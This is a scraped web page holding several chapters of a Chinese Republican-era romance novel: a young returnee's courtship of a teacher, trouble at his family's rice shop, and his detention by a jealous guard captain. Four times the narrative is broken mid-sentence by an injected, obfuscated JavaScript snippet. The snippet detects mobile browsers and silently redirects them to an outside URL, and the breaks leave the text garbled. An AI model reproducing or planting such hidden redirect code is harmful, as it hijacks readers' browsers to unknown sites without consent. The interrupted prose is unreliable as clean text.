“其实，我说不上多懂，今儿个反日本，明儿个反美国，我根本记不清楚哪条个约签的哪个条款，我只是跟在她们身后走罢了。” 一弯残月如钩，安静、朦胧地为黑夜笼罩一层白雾。 刘珉之忽想起来，今日是农历的九月初一。 “我甚至还制过横幅、定过口号，你说可不可笑？” "怎么会可笑呢？你已经很勇敢了，总要有人发出声音。" “是啊。” 苏湘子抬头望月。 “所以她死了，死在我面前，被枪杀的。” 刘珉之懵了：“什、什么？” “嘭！一枪子过来，人的脸直接被打烂了，血溅到我脸上，她的眼睛还在看我。” 刘珉之这几年并未听说北京有武装镇压学生游行的案例，但或许，只是国外没有报道。 “你知道吗？我那时根本感觉不到难过，只庆幸自己没走在前头。” 刘珉之张了张嘴，脑袋好像又沉重起来，他谨慎地没有发言。 苏湘子长舒一口气。 “很抱歉和你说这些。” “不，我很，我很乐意听你说。” 苏湘子惨然一笑，又强行打起精神。 “不讲这些难过的了，毕竟天主，天主会保佑所有人的。” 刘珉之好像明白她为什么会信教，轻轻嗯了一声。 两人静默地相处片刻，等苏学章下楼找她，才正式告别。 “刘先生，认识你真的很高兴。” “我也是。” “那么，期待下一次见面。” “诶！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501958|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏湘子狡黠地停下脚步：“怎么了？” 刘珉之脸更红了，不知是不是酒气又冒上来。 “我听说，□□弄来一套新的胶片，下周在小剧院放。” “那小剧院窄的很，也不干净，坐着很不舒服。” “哦。” 刘珉之懊悔，他没有准备备选方案。 “不过，我愿意为了刘先生给它一个机会，瞧瞧它这次有没有进步。” 刘珉之大喜：“真的？” 苏湘子笑着点头。 “那太好了，周日下午四点钟，我到学校门口接你，我们先去吃饭。” “直接去教堂接我吧，我要做礼拜。” “好!” 苏湘子转身，走了两步又退回来，茉莉的香气如春风侵袭，在他脸颊上轻轻落下一个吻。 刘珉之愣住。 他呆呆听着鞋跟声音远去，又呆呆地上了人力车，回到刘府，值夜的下人睡眼惺忪地为他开门。 “二少爷。” 他没应，腿脚却聪明的很，自己往东厢房走。 灯光果不其然亮着，屋里的女人又在绣花玩。 “你回来了！” 刘珉之拿门撞门框，撞了几下没撞上，王桂英抚开他的手，将门扇合拢。 刘珉之嘿嘿笑。 “你……怎么醉成这个样子？” 王桂英早将地铺铺好了，刘珉之噗通一屁股摔下去，痛的直皱眉。 “你去床上睡吧。” 王桂英来扶他，他甩胳膊反抗几下，没挣过，顺势扑在床上。 “诶！鞋子！” 刘珉之慢吞吞抬起腰，伸手够到鞋子，一只一只扔下床。 “把衣裳换了再睡。” 刘珉之不理她。 她叹了口气，上手扒衣服。 刘珉之抗拒。 “不用、不用你，我自己来！我自己来！” 王桂英无语，将挂在屏风上的中衣丢给他。 “快点。” 她转过身。 衣料摩挲的声音就响了两下，渐了，只留男人均匀的呼吸声。 “好了没？” 没人应声儿。 “我转过来了？” 他默认了。 王桂英扭过身子，男人什么也没脱，就解了两个马甲扣子，正趴在枕头里酣睡。 王桂英抬头看了会儿木顶棚，先把自己气儿捋顺了，这才上手将比她高一个头的男人搬抬起身，给他换衣裳。 人醉的只差昏死，还不忘捂住胸口和下身，当真贞洁。 王桂英如同打完一场架，全身是汗。 刘珉之晕晕乎乎的，终于睡踏实了。过一会儿一条温热的帕子挨在他身上，挨过的地方清爽干净，他舒服的很，任由那帕子将整个人擦过一遍。 又过一会儿。 “醒醒，醒醒。” 他肩膀被晃来晃去。 “起来喝了醒酒汤再睡。” 好烦。 刘珉之皱眉，怎么都不肯睁眼。 “啪！” 宽厚的手掌往他脑袋上用力一扇，脑浆子都打匀了。 刘珉之震醒，心有余悸地摸着脑袋，只见王桂英黑着脸捧个瓷碗坐在床边。 一汤匙苦药送到嘴边。 “快喝。” 刘珉之学乖了，让干什么就干什么，终于睡了个好觉。 16. 玉佛 虽喝了解酒汤，早晨起来还是头疼，有根针在拧似的。 身上倒不难受，很清爽。 刘珉之瞪大眼睛，这才意识到有人给他换了衣裳擦了身子。 王桂英起的早，已不在房里了，一个瘦成竹竿的小女孩蹲在床脚打瞌睡。 “小葱？” “二少爷，”小葱打着哈欠起来，“我去给你端醒酒汤。” 刘珉之揉着太阳穴起床，昨日那身被酒气熏透的衣裳不见了，屏风上挂了新的西服。 换好衣裳出来，才看到案上一方手帕，白色泛珠光的桑蚕丝料子，和屋里古朴厚重的陈设极不搭调，像故意摆在那儿的。 刘珉之将帕子拾起，轻轻抚摸那朵小巧的银丝茉莉。 小葱翘着指头捧进来解酒汤，冒冒失失的，刘珉之赶紧接过，温度正好，他三两口灌进肚子。 “二少爷，二奶奶叫我转告你，这个帕子金贵，还带香气儿，她怕把香气给你洗坏了，叫你自己洗。” 怪不得搁在这里。 刘珉之心虚。 “二少爷，你昨天是不是喝花酒了？” “胡说什么呢！” 小葱咂咂嘴，知道他脾气好，也不害怕。 “二奶奶早上气坏了。” “哦？怎么个气坏的法？” “崔婶早上和她打招呼，她都不理人的。” 刘珉之觉得好笑。 “别贫嘴了，帮你二奶奶干活儿去。” 刘琼越昨天带外头几个女人上京城玩，家里只剩他们四个吃早餐。 天气转凉，刘伯承越来越没精神，连小儿子初一晚上不回家吃饭都懒得说，恹恹喝了两口小吊梨汤，不动了。 “爹，再吃点东西吧。” 刘伯参又拿起汤匙，在碗里搅了搅。 “是不是这汤没胃口？厨房还有银耳，我叫人炖一盅来。” “不用。” 刘伯参费劲地放下汤匙，往椅背上一靠。 “早上霜重，我老觉得，身上发寒。” 今天分明是个大晴天。 刘珉之心下叹息，不敢表现，只附和说天气确实冷。 “是啊爹，再多添件衣衫就好了。” 刘伯参垂着头，显得体型很小，像个孩童。 初一本该祭祖，刘珉之去祠堂补了香，回来发现王桂英难得在屋里坐着，身影空愣愣的。 “怎么了？” 王桂英扭头，刘珉之吓了一跳。 “你怎么哭了？” 王桂英一愣，拿黑色的绢子沾沾眼角，瞧不出湿了没。 “没事。” “真没事？” 王桂英不说话。 刘珉之莫名感到心虚，在对面的椅子坐下。 “你这样，好像我欺负了你似的。” “你本来就在欺负我。” 刘珉之噎住。 “等老爷子不在了，就没人护得住我了。” 刘伯参的身体状况平日没人提，但大家都心知肚明。这个老派的家里养着新派的孩子，全靠刘伯参将他们聚拢在一起。 她这个儿媳妇，也是老旧的、快要消亡的。 王桂英想着，腮边淌过两行清泪。 她的长相很古典，银盘脸杏仁眼，头发乌黑如漆，皮肤白里透红，瞧着就气血充盈，是老一辈人都喜欢那种长相，常被人夸有福气。 她又爱忙，府里上上下下都要管，只晚上回来和刘珉之一个屋歇息。 白日不相见，刘珉之便当没这个人，晚上呢，就将她看做屋里一座玉佛，撞上了便拜一拜，否则便不去理会。如今见玉佛也会眼红泣泪，刘珉之自己倒先乱了。 “你，你有什么怨我的话说出来就是了，是我对不住你。” 王桂英沉默地抹眼泪，边抹边哭，根本止不住。 刘珉之慌了：“我错了！都怨我！” 她哭的直打嗝，刘珉之帮她拍背。 “姑奶奶您消消气，您大人有大量，别跟我一般见识。” 天煞的，他可真见不得女人哭。 王桂英突然一转身扑到他怀里，他僵的手脚都不敢动。 女人的肩膀起伏着，像困顿的小兽，哪还有刘府二奶奶半分神采。 刘珉之叹了口气，认命地回抱住她。 等哭过劲儿了，王桂英很不好意思，扭扭捏捏地离开丈夫的怀抱，脸上布满红晕。 “你这几天都在家里呆着，要出去吗？” 刘珉之以为她在怨自己昨晚醉酒，赶紧表态：“我这几天都在家里。” 王桂英松了口气：“太好了，你得去米铺看看。” “米铺怎么了？不是有钱管家吗？” “钱管家还在庄子里。我听下人说米铺的伙计在闹涨工钱，爹不喜欢女人家掺和外面的事，我不好去管。” “我知道了。” 刘珉之将这件事记下，心中更是惭愧。 王桂英确是一心一意为刘家操劳，日后多补偿她些钱财吧。 刘家在漳县有上千亩耕地，每年靠收租净赚十几万斤粮食，这些粮食大部分运到大城市出售，剩下的囤积在刘家粮仓，粮仓之中又拿出一部分在漳县做长期经营，保证本地充足的粮食供应。 原先，乡下人自己有地，除了灾年不必买粮。后来兵荒马乱，卖地求全的人越来越多。没了地，便不用守着固定的家，可以到处行走，靠做雇农、雇工赚钱度日。如此，饮食、居所都要花钱维系。米是粮食的根基，刘家的米铺从不缺大小顾客。 木瓦门楣上悬一块黑底金字的匾，“刘家米铺”四个字已错金落灰，木门陈旧，门槛低矮，踩进去就是堆满米柜的店铺内部。 客人三三两两，柜台后的掌柜沉默地打着算盘，还有一个伙计看称，旁边立着一块木牌：新米75文一斤。 “今年米价怎么这么贵？” 伙计头也没抬，快速解释：“银元又涨价了，现在一银元换1500文，按银元给还是一银元20斤米。” 民国货币制度复杂，去年刚刚发行“法币”，规定一银元＝一法币，同时禁止银元流通，回收白银。但在大部分地区，这只是一纸空文，大家依旧使用自己熟悉的银元和铜钱。 考虑到政丨策时局种种因素，米价的涨幅勉强说的过去。 刘珉之没说话，在店里来回踱步，掌柜的感觉不对劲，一抬头，吓了一跳。 “二少爷，怎么是您？” 伙计唬了，忙抬起柜台的暗门，刘珉之大大方方走进去，站在掌柜让出的地方，翻看账本。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501959|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “最近生意不错？” “正秋收呢，陆续进了两批新米，生意嘛，还是老样子。” 账目没问题，每天大概几百斤米售出，好的时候上千斤，隔几天会有一两个大单子。 “这里只你一家的账本？” “是。” “其他门店生意如何？” “二少爷，这可不归咱管，”掌柜为难道，“我只管自个儿店里，要说所有门面的事，得问钱管家去。” 要是钱管家在，也不用他刘珉之费心了。 “你工钱多少？” 掌柜谨慎地没回答：“二少爷这是何意？” “问你话答就是了。” “我每个月15元，手下伙计每个月8元，年底有分红，节日有津贴，钱管家还会视情况给奖薪。” 刘珉之合上账本。 “这么说，你还算满意喽？” 掌柜擦擦额头的汗：“不敢不敢，能在刘家讨一口饭吃，我们每天都感念老爷，额，还有少爷的恩德呐。” 刘珉之又看向伙计：“你刚才说现在银元涨价，那就是铜元不值钱了。刘家每个月薪水给的是银元还是铜钱？” 伙计唯唯诺诺：“是银元，是银元。” 刘珉之向后一仰。 “在漳县，应该没有比刘家更好的去处了。” “二少爷说的极是，亲戚都羡慕我们在刘家做事呢。” “是是，咱们东家是最厚道不过的。” 两人千吹万捧，刘珉之又训了几句话，叫他们平时做事勤谨些，门沿、案板上的灰尘常打扫，他们一一应了。 刘珉之任务完成，赶回家去。 刘伯参的身体一日不如一日，郎中每天都来，开的药方也改来改去去，其实就是换一两味无关痛痒的补药。偏王桂英实心眼，大夫刚改方子，她便盯着抓药重做。 王桂英捧了药进屋，见刘珉之在，一挑眉。 “这么快就回来了？” 刘珉之施施然点头，从她手里接过汤药，一勺一勺喂给刘伯参。 没喂两口，黑色的药沿他嘴边流出，刘珉之忙拿帕子去堵。 “我来吧。” 王桂英夺过药碗，翘着指头喂，也瞧不出手法有什么不一样，反正他全喝进去了。 喂完药，她温声哄病人休息，刘伯参虚弱地点头。 刚给刘伯参掖好被子，对方的手又从被缝里伸出来，轻轻拍王桂英的手背：“苦了你了。” “说什么呢，爹。” 到夜间，王桂英才有空问刘珉之米铺的事，刘珉之将情况简单说了。 “没什么大事，就是做事懒怠些，刘家的薪水是漳县最高的，我不信他们敢闹。” “这可说不准，人心总不知足的。” “放心，我训过话、给过教训了。你是从哪里听说他们要涨工钱的？我可一点没瞧出来。” “是厨房的崔婶，她娘家人开饭馆，和米铺来往多。” 王桂英换了衣服上床，犹不放心：“是不是他们不敢在你跟前说？你可是刘家的少爷，有事自然要瞒着你。” “真有事我不会看不出来。好了，别想那些有的没的。娘说的没错，你就是操心的命。” 刘珉之吹熄蜡烛。 “睡觉吧。” 17. 莓果 第二天是周日。 刘珉之记挂着和苏湘子的约会，一整天心不在焉。 终于熬到三点钟，他抄起衣服往外跑，跑到垂花门，和湖蓝色的女人撞个满怀。 “哎哟，”王桂英抵住他的小臂站稳，“怎么了？急急忙忙的。” “出去有些事。” 刘珉之笑笑，抽身离开。 “晚上回来吃饭吗？” “不回了！” “诶！” 男人一溜烟跑了，也没坐刘府随时候着的人力车。王桂英瞧他带烟儿的背影很不满，不吃饭也不早些讲，她菜都备下了。 王桂英努努嘴，往里走向厨房。 漳县教堂离刘府不远，若车夫脚程快，十来分钟便到。 刘珉之不愿显得焦急，硬是盯着表走路过去，又在外头踱了会儿步。等到三点五十，才施施然走进哥特教堂的漆黑大门。 教堂庄严，高耸的尖形屋顶在头顶聚会，视野最远处是巍峨的神像。神高高在上，神悲悯垂怜，神的目光往下，跪坐着一位穿鹅黄连衣裙的纤细女子。 刘珉之收敛脚步，安静地到离她最近的位置的坐下。 五点过几分，女子缓缓睁开琥珀似的眼睛。 “苏小姐。” 苏湘子眨眨眼：“你什么时候到的？” “才到呢。” 苏湘子跪久了，腿全是麻的，刘珉之扶她坐到长椅上，蹲下来给她揉小腿。 “还痛吗？” 刘珉之蹲着只比她坐着矮半个头，两人一个向上看，一个向下看，贴的极近，刘珉之脸倏然红了。 苏湘子弯起眼睛笑：“更疼了呢。” “抱歉。” “不，谢谢你，让我缓缓就好了。” 他收回手，坐到苏湘子旁边。 天气转凉，她的裙子是棉质长袖的，近了才看清布料上浮雕铺满同色系的花朵，裁剪蓬松而精致。因坐的近，她下身宽大的裙摆挨在刘珉之的长裤上。 她今天不再是茉莉，散发出另一种幽芳，有些甜腻，不像花朵，倒像是外国人拼命放糖的糕点。刘珉之对这个味道谈不上喜欢，但因是她用的，也绝不能说讨厌。 “你用的香水是什么味道？好香啊。” “是新款的莓果味。” “怪不得。” 刘珉之恍然。 苏湘子轻轻咬着下唇，她的牙齿小巧而闪细白，像某种贝类。 “是不是味道太浓了？” “怎么会？很香甜的味道。” 苏湘子垂下眼帘。 “我不该选这款的。” “为什么？” “你不喜欢。” 刘珉之纳闷，她居然能觉察到这么细微的事，可这种话是不能说的，他快速掩饰:“怎么会？我很喜欢，和你今天的装扮很相配。” 这话说完，苏湘子却慌了：“相配？是我今天的裙子太艳吗？妆呢？是不是太浓了？” “没有，没有的事。” “这么打扮太出格了，是不是？我不应该这么做的，我已经不是小孩子了……” “别这么想。” 刘珉之按住她乱动的手，盯着她尾部微微下垂的琥珀色眼睛。 “你很漂亮。” 苏湘子安静下来。 莓果的香不是若有若无的，是热烈的，层叠的，一波强过一波，一浪胜过一浪。 似乎任何事物到达一定浓度都有令人沉醉的魔力，交错之间，呼吸的声音突然沉寂，下一秒，又乱糟糟起伏起来。 苏湘子轻轻闭上眼睛。’ 刘珉之紧张地靠过去。 “嘭！” 两人瞬间分开，端坐在长椅两头。 发出声音的是玛丽女士，她将水桶重重摔在地上，拧干抹布开始清洁教堂。 “玛丽女士，”刘珉之稳住声音，“我们，是来做礼拜的。” 他这话真是没头没脑，他又不是天主教徒，况且玛丽女士早知道他常来教堂是因对苏湘子有意。好在玛丽女士没正眼看他，依旧做手里的活计，刘珉之松了口气。 “那我们先走了，玛丽女士。” 玛丽还是不理人，将木质长椅擦的锃亮。 刘珉之和苏湘子神经兮兮地走出教堂，脖子都不敢乱动。 一踏出漆黑的木门，长长的呼气声音重叠响起，两张脸惊讶地相对，忍俊不禁。 “别笑，玛丽女士能看见呢。” "嗯。" 刘珉之死死抿住嘴。 彻底离开教堂尖顶的阴影，他的肩膀才放松下来。 “玛丽女士突然出现，吓坏我了。” 苏湘子还算稳重，笑着解释：“玛丽女士不是位多事的人，她认为缄口是一种修行。” 刘珉之恍然：“怪不得她总不理人。” “不过，”苏湘子挑起眉毛，她的眉毛细长，眉骨扬动之间总有几分挑衅，“你刚刚是不是太紧张了？” “嘿，突然冒出一个人，谁都会反应不过来。” 苏湘子信服地点头：“所以你能立刻反应过来，向玛丽女士解释我们刚刚是在做礼拜，真是很厉害。” 刘珉之心中一动：“那我应该说，我们是在做什么呢？” 苏湘子不语，带笑看他。 方才被打断的气氛重又回来了，刘珉之向苏湘子压近，她身上那么香、那么甜，像一块令人垂涎的糕点。 身体靠到最近了，刘珉之的脸凑过去，苏湘子一动不动，只馥郁地呼吸着。 临了，刘珉之闭上眼睛，仔细感受这一刻。 “呀。” 苏湘子突然握住他的左手，掰过来看上面的金属手表。 “都快五点钟了呀。” 一个吻被中断两次，刘珉之泄了气。 “我记得，有位先生说，今天要先和我吃饭的，对不对？” 苏湘子个子不高，也不算矮，但刘珉之生的高瘦，谁在他怀里都得矮一截。苏湘子又总是刻意地低着脸，只抬起眼睛看他，更显得娇小又惹人怜。 刘珉之哪里舍得怪她，回话的声音都柔的要掐出水。 “当然，刘先生马上带您去吃饭，尊贵的大小姐。” 刘家的菜好吃，刘珉之对在外吃饭并不热衷，也不知哪家馆子好，晚餐他选的是一家老牌的粤菜饭店，只求无功无过。好在苏湘子还算满意，一大桌菜样样都尝了，没有太挑嘴。 吃完餐，刘珉之拿上外套，为她推开包间的门。 “咦，好巧，是刘先生。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507630|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个并不熟悉的女声，刘珉之还在想这人是谁，声音又一惊一乍地响起。 “呀！苏老师，你怎么也在这里。” 苏湘子缓步走出来，露出得体的笑容。 “邓老师，真巧，居然在这里碰到您了。” 刘珉之恍然，这人脸型较长，似乎是前几日一起吃过饭的女老师。他对新中学的女老师印象还不错，笑着打招呼：“您好啊，邓老师。” “邓老师，今天不用在家带孩子？” “放到她奶奶家了，”邓老师笑着又向后一招，将一个圆脸微胖的男人招来，“今天是我们的结婚纪念日，我和我爱人来吃饭。” 两人自然说了一堆恭喜祝福的场面话，又和她先生简单认识了。一场招呼打完，倒比吃饭还累。 “苏老师，刘先生，你们也要加油，早结婚，早点要孩子，以后就轻松了。” 苏湘子红了脸，刘珉之也有些尴尬，她先生笑着解围：“他们还年轻的很呢，我们都是过来人了。” “是是是，怪我多嘴，你们别往心里去。” “没有。” “那我们先走了，您夫妻俩慢用。” “好嘞，再见。” “再见。” 出了酒店门，刘珉之又回头看了两眼招牌，确定这只是一副普通的招牌。 “怎么这么巧，竟能遇上熟人。” 苏湘子不大开心，但这种事情她经历太多，已见怪不怪。 “在漳县就是这样。一个部门便好些人，每个部门常来常往，彼此又都认得。这么多人聚在一起休假，能去的地方却只这样几个，哪里都能撞见熟人。” “说到底，还是漳县太小了。” 刘珉之慨然，他到底刚从国外回来不久，不够了解情况。 苏湘子总是穿粗跟皮鞋，走路的脚步轻盈，像在钢琴的琴键上跳跃，所以她脚步一迟疑，刘珉之立刻就察觉到。 “怎么了？” 苏湘子咬着下唇，烦恼的很：“不会又在小剧院碰见熟人吧？” 刘珉之觉得可爱，故意逗她。 “肯定会啊，剧院那么小，又不是天天都有电影放，总有人去凑热闹——” “喂！” 苏湘子羞恼地打断他，粉白色的颊腮鼓动起来。 “你怎么这么坏！” 刘珉之噗呲乐了：“我怎么坏了？他们要撞见就撞见好了。” 苏湘子神情一凝。 “那、那撞见熟人该怎么说呀？” “实话实说喽。” 刘珉之牵起她的手，轻轻摩挲她光滑的手背。 “就说我在追求你。” 天色已利落地黑了，晚风将她身上的莓果甜香吹的澎湃，星子刚刚露头，还来不及占领天空。 苏湘子仰起头，盘扎好的浅棕色卷发只在耳边放出两缕，被风吹在脸上飘扬。 苏湘子将它们拨回耳后，轻轻嗯了一声。 他们并肩走向剧场，背影十分和谐。 “那要是遇上我的学生怎么办？” 刘珉之沉重地叹口气：“那只能遗憾地告诉他们，他们敬爱的苏老师被我狠狠缠上了。” “喂！”苏湘子笑的很开心，“你果然是个坏蛋！” 18. 杜其骏 漳县的小剧院比教堂小许多，还是露天的，就建在文丨化部旁边一块空地。空地拉长，前头放一块展开的幕布，后头搁放映的大机器，有这两样东西，哪里都可做影院。 中间的观众席地方虽小，来寻找娱乐活动的居民却多，为照顾更多人，观影条件一压再压。腐化的木头长椅密集摆放，观众的大腿挨着旁边人的大腿，膝盖顶着前排人的屁股。有几家人还嫌不够挤，边磕瓜子零嘴，边攮在一起聊天。 苏湘子一瞧见这景象，期待的火苗瞬间熄了。 刘珉之也十分犹疑。 “还、还看么？” “不想看了。” “好，我们走吧。” 场地边缘亮着一盏炽白的大灯，叫人看清脚底的路。 晚间风凉，刘珉之将外套为她披上。 “不用了，我不冷。” “那劳烦你帮我保管一下外套，好不好？” 苏湘子笑了，缩了缩肩膀将外套裹住。 刘珉之牵起她的手，心猿意马想等下去哪里消磨时间。 一小队警卫人员正绕场巡逻，本是八竿子打不着的距离，他们却突然绕了个s形的大弯，拦在刘珉之和苏湘子面前。 “一、二、三、四！” 人马站定，刘珉之正摸不着头脑，警卫队打头的高壮男人将刘珉之推开，杵进两人中间：“湘子，你也来看电影？” 苏湘子先是一愣，立马露出标准的笑容。 “是啊。” 她越过男人，亲昵地挽住刘珉之的手臂。 “我和朋友一起来的。这位是军工部的刘珉之刘先生，珉之，这位是警务队的杜其骏队长。” 苏湘子头一回叫他名字，刘珉之还没来得及荡漾，便被杜其骏那恨不得啖他肉饮他血的凶恶目光戳伤了。 “刘珉之？你是军务部刘部长的那个弟弟？” 来者不善，刘珉之也不会摆好脸色。 “正是。” “原来就是你，呵。” 刘琼越的名号在漳县足够响亮，讲出来谁都要敬重三分。谁成想今日却奇怪，杜其骏确认他的身份后，敌意反倒更重了。 “听人说刘部长的弟弟最近在军工部高就，不知你官任何职啊？” “目前只是位专技人员。” 杜其骏没忍到他回答完毕，已开始哈哈大笑。 “就算是留洋回来的高材生又如何？读书多脑子也不一定灵光嘛，职员就职员，还什么，专技人员？” 一队警卫人员配合队长发出嘲弄的大笑，动静太大，剧场的观众纷纷侧目。 苏湘子明显不太舒服，忍住了没说话。 刘珉之安抚地拍了拍她的手掌。 “职业无高低贵贱之分，专技人员只是工种分类，就像杜队长和各位小兄弟，就叫做安保防卫人员，杜队长，您肯定读过书，这种常识应该清楚吧？” 笑声戛然而止。 “你这家伙，真是伶牙俐齿啊。” “杜队长谬赞。” “你这样的人才放在军工部真是屈才了，薪水多少？怎么来小剧院看戏了？刘部长可是带着几位姨太太去京城了。” 杜其骏继续进攻。 “想不到刘部长自己威风，却不提携提携自己的亲弟弟，想来弟弟是个扶不起的阿斗吧？” 话说到这个份上，刘珉之不甘示弱，回击道：“杜队长怎么知道刘部长没有提携在下?在下心不在仕途，常人无法理会也无大碍。只是杜队长如此关心家世背影，难不成自己便是靠裙襟关系上位的？” “你！” 杜其骏一急眼，反倒坐实了刘珉之的猜测。姓杜，这是哪家的公子哥？不过在漳县，背景应该越不过大哥去。 刘珉之心念一转，安定下来。 “杜队长既有人脉提携，做了一队之长的位置，自然是辛苦百倍，不敢为人脉抹黑。杜队长为人忠义，肯定不会有人在背后说你的坏话。” 杜其骏咬牙切齿：“那是自然。” “杜队长真是好命，不像我，只做个职员，都要被拦路质疑。” 刘珉之哀愁地叹了口气。 “既然杜队长有要务在身，在下不好叨扰，和湘子先行一步。” 他特意将湘子两个字音咬的缱绻，杜其骏果然脸色扭曲。 他视而不见，揽过苏湘子单薄的肩膀，绕开挡路的警卫员。 “站住！” 警卫员踏步，将他们包围起来。 刘珉之望天，他刚刚那番话算是白说了。 苏湘子皱起鼻子，终于不满道：“杜先生，你今天很无礼。” “湘子！”杜其骏生的高壮，兼之五官板正、一丝不苟，神情稍认真些便横眉立目，有几分凶像，但面对苏湘子时，这几分凶相全成了委屈。 “你怎么向着他说话！” “珉之是我的朋友，”苏湘子冷静道，“况且，我也没有向着珉之说话，我只是陈述事实。” “湘子，你今天怎么这样对我。” 杜其骏刚可怜兮兮一会儿，又振作起火气，转移到刘珉之身上。 “都怪你，都是你的错！” “把他给我拿下！带到警卫处去！” “是！” 一队人马一拥而上，刘珉之虽不至于四体不勤，但日常运动仅限于维持健康和保持身材，武力值极低，两下就被一个警卫员扣住了肩膀。 “杜其骏！” 苏湘子真生气了，可杜其骏不去看她，仰头背手，道貌岸然。 “本队长奉命维护剧院治安，今有人寻衅滋事，扰乱秩序，特缉拿回警务处拘留，以示法治严明，绝不循私。带走！” “是！” “嘶！” 刘珉之难受地甩动被扣住的手腕，那人手掌钢筋似的，下手极重，他腰都直不起来。 “杜其骏，你不要惹事，别人都在看呢！” 苏湘子脸蛋小，五官都恼的皱在一起了。 杜其骏左右顶顶下巴。 “看什么看，都老实点儿。” 围观者假装避开，注意仍在他们身上。放映还未开始，但观众已无心在电影上了，不知明天他们会怎样编排今天的好戏。 “湘子，”杜其骏嗓音柔的艰难，但还是尽力柔了，“你把外套脱了，穿我的，好不好？” 苏湘子面皮头一回儿涨这么红。 “滚！” 杜其骏细长地吐出一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513392|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“算了，我们走！” 苏湘子去追他：“珉之，我去你家里找人保你出来，你等一等。” “不要！” 大哥在京城，父亲病着，母亲又不理事，苏湘子去刘府，肯定会撞见王桂英。 苏湘子愣了，不知他为何反应这么大。 刘珉之冷静下来：“我没事，他不敢拿我怎么样。你别担心，湘子，你回去休息吧。” 警卫队缉着刘珉之离开，苏湘子茫然地停在原地，一阵凉风袭来，她紧了紧身上的外套。 警务处地方不大，刘珉之又被关在狭小的拘留室里，只能透过铁栅栏观察他们。 警卫队只剩两个值班人员，余下都在外面巡逻。 杜其骏只撂下一句“老实呆着”便走了，瞧他那股狠劲儿，不知什么时候才肯放他。 刘珉之叹了口气。 四面墙壁煤炭熏过似的肮脏，他根本不敢靠，倒有一张板凳可坐，可那凳子上包了一层五彩的浆，不知都混进些什么。 “警卫人员，你们先把我放出去，我不跑。” 没人理他。 “你们知道我是刘部长的亲弟弟吧？” 还是没人理人。 刘珉之再努力几次，终于放弃。 拘留房连踱步都踱不开，刘珉之唯一自由的只有头脑。一会儿想他这么晚没回家王桂英该着急了，一会儿想晚上风大苏湘子回去没有，一会儿又想大哥在就好了。 思维和肌肉一样是会疲惫的，手表指到十一点，刘珉之没骨气地靠在生锈的铁栅栏上。 不会要关他一晚上吧。 杜其骏确实不能治他的罪，但在权责范围内，已足够折腾他，让他难受。 “哥几个，当班辛苦了。” 外头进来一个不高不矮、不胖不瘦的男人，穿不合身的西装，两手提满纸包。 “老马。” “马哥，你怎么来了。” 写文件的年轻小伙儿放下笔过去迎接，来人将东西转交给他。 “买了点卤货，还有烧鸡，没敢买酒，兄弟们将就吃点，垫吧垫吧。” 年纪最大的那位笑着坐过去:“又让你破费了，老马。” 老马豪爽地一挥手：“什么破费不破费的，都是兄弟，你们这么晚还辛苦值班，我得替人民犒劳犒劳你们啊。” 几人俱笑了，两下将纸包拆开摆放，分了筷子。 “老马，一起吃点？” “我不吃了，我刚吃过。” 他摆摆手，慢悠悠在室内行走，没两步就走到刘珉之这边。 刘珉之盯着他的脸：“你是，马竭？” 马竭笑着走过来，隔着铁栅栏和他对视。 “真的是你。” 马竭压低了声音，不叫吃肉那群人听见：“刘少爷还记得我，真叫我受宠若惊。” 他长相普通，且每次见面状态都不一样，有时是醉汉，有时是烟鬼，这次又成了警卫处的兄弟，也亏刘珉之能认出来。 刘珉之很疑惑：“你……” “嘘！”马竭示意他噤声。 他又清了清嗓子，夸张道：“哎呀呀，这位是刘部长的弟弟吧，老赵老孙，你们怎么把他给抓起来了？” 19. 解救 年轻些的老孙一边啃鸡腿一边回答他：“是杜队长让抓的。” “杜队长为什么抓他？” “好像是争风吃醋。” 马竭错愕：“这算什么理由？” “杜队长教训人还需要理由么？” 几人长吁短叹，想到工作不易，啃起鸡肉来更卖力了。 “咱们还是赶紧把人放了，人家这个家世，等出去了，有咱们好受的。” 